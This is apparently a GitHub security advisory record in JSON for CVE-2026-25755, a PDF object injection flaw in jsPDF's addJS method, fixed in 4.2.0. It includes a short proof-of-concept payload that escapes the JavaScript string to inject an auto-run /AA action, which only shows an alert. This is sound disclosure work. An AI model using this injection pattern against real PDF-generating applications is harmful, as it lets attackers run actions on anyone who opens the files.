{
  "id": "GHSA-9vjf-qc39-jprp",
  "source": "ghsa",
  "source_url": "https://github.com/advisories/GHSA-9vjf-qc39-jprp",
  "summary": "jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method",
  "description": "### Impact\n\nUser control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.\n\n```js\nimport { jsPDF } from \"jspdf\";\nconst doc = new jsPDF();\n// Payload:\n// 1. ) closes the JS string.\n// 2. > closes the current dictionary.\n// 3. /AA ... injects an \"Additional Action\" that executes on focus/open.\nconst maliciousPayload = \"console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>\";\n\ndoc.addJS(maliciousPayload);\ndoc.save(\"vulnerable.pdf\");\n```\n\n### Patches\nThe vulnerability has been fixed in jspdf@4.2.0.\n\n### Workarounds\nEscape parentheses in user-provided JavaScript code before passing them to the `addJS` method.\n### References\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md",
  "product": "jspdf",
  "severity": "high",
  "cvss": {
    "score": 8.1,
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
    "version": "3.1"
  },
  "cwes": [
    "CWE-94",
    "CWE-116"
  ],
  "affected": [
    {
      "ecosystem": "npm",
      "name": "jspdf",
      "vulnerable_range": "< 4.2.0",
      "patched_version": "4.2.0"
    }
  ],
  "references": [
    {
      "url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp",
      "ref_type": "advisory",
      "title": null
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25755",
      "ref_type": "other",
      "title": null
    },
    {
      "url": "https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437",
      "ref_type": "commit",
      "title": null
    },
    {
      "url": "https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md",
      "ref_type": "other",
      "title": null
    },
    {
      "url": "https://github.com/parallax/jsPDF/releases/tag/v4.2.0",
      "ref_type": "release",
      "title": null
    },
    {
      "url": "https://github.com/advisories/GHSA-9vjf-qc39-jprp",
      "ref_type": "advisory",
      "title": null
    }
  ],
  "aliases": [
    "CVE-2026-25755"
  ],
  "published_at": "2026-02-19T19:32:36Z",
  "ingested_at": "2026-02-19T20:48:19.684083945Z",
  "raw_source": {
    "credits": [
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/189536965?v=4",
          "events_url": "https://api.github.com/users/ZeroXJacks/events{/privacy}",
          "followers_url": "https://api.github.com/users/ZeroXJacks/followers",
          "following_url": "https://api.github.com/users/ZeroXJacks/following{/other_user}",
          "gists_url": "https://api.github.com/users/ZeroXJacks/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/ZeroXJacks",
          "id": 189536965,
          "login": "ZeroXJacks",
          "node_id": "U_kgDOC0waxQ",
          "organizations_url": "https://api.github.com/users/ZeroXJacks/orgs",
          "received_events_url": "https://api.github.com/users/ZeroXJacks/received_events",
          "repos_url": "https://api.github.com/users/ZeroXJacks/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/ZeroXJacks/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/ZeroXJacks/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/ZeroXJacks",
          "user_view_type": "public"
        }
      }
    ],
    "cve_id": "CVE-2026-25755",
    "cvss": {
      "score": 8.1,
      "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
    },
    "cvss_severities": {
      "cvss_v3": {
        "score": 8.1,
        "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "cwe_id": "CWE-94",
        "name": "Improper Control of Generation of Code ('Code Injection')"
      },
      {
        "cwe_id": "CWE-116",
        "name": "Improper Encoding or Escaping of Output"
      }
    ],
    "description": "### Impact\n\nUser control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.\n\n```js\nimport { jsPDF } from \"jspdf\";\nconst doc = new jsPDF();\n// Payload:\n// 1. ) closes the JS string.\n// 2. > closes the current dictionary.\n// 3. /AA ... injects an \"Additional Action\" that executes on focus/open.\nconst maliciousPayload = \"console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>\";\n\ndoc.addJS(maliciousPayload);\ndoc.save(\"vulnerable.pdf\");\n```\n\n### Patches\nThe vulnerability has been fixed in jspdf@4.2.0.\n\n### Workarounds\nEscape parentheses in user-provided JavaScript code before passing them to the `addJS` method.\n### References\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md",
    "ghsa_id": "GHSA-9vjf-qc39-jprp",
    "github_reviewed_at": "2026-02-19T19:32:36Z",
    "html_url": "https://github.com/advisories/GHSA-9vjf-qc39-jprp",
    "identifiers": [
      {
        "type": "GHSA",
        "value": "GHSA-9vjf-qc39-jprp"
      },
      {
        "type": "CVE",
        "value": "CVE-2026-25755"
      }
    ],
    "nvd_published_at": "2026-02-19T15:16:12Z",
    "published_at": "2026-02-19T19:32:36Z",
    "references": [
      "https://github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp",
      "https://nvd.nist.gov/vuln/detail/CVE-2026-25755",
      "https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437",
      "https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md",
      "https://github.com/parallax/jsPDF/releases/tag/v4.2.0",
      "https://github.com/advisories/GHSA-9vjf-qc39-jprp"
    ],
    "repository_advisory_url": "https://api.github.com/repos/parallax/jsPDF/security-advisories/GHSA-9vjf-qc39-jprp",
    "severity": "high",
    "source_code_location": "https://github.com/parallax/jsPDF",
    "summary": "jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method",
    "type": "reviewed",
    "updated_at": "2026-02-19T19:32:37Z",
    "url": "https://api.github.com/advisories/GHSA-9vjf-qc39-jprp",
    "vulnerabilities": [
      {
        "first_patched_version": "4.2.0",
        "package": {
          "ecosystem": "npm",
          "name": "jspdf"
        },
        "vulnerable_functions": [],
        "vulnerable_version_range": "< 4.2.0"
      }
    ],
    "withdrawn_at": null
  }
}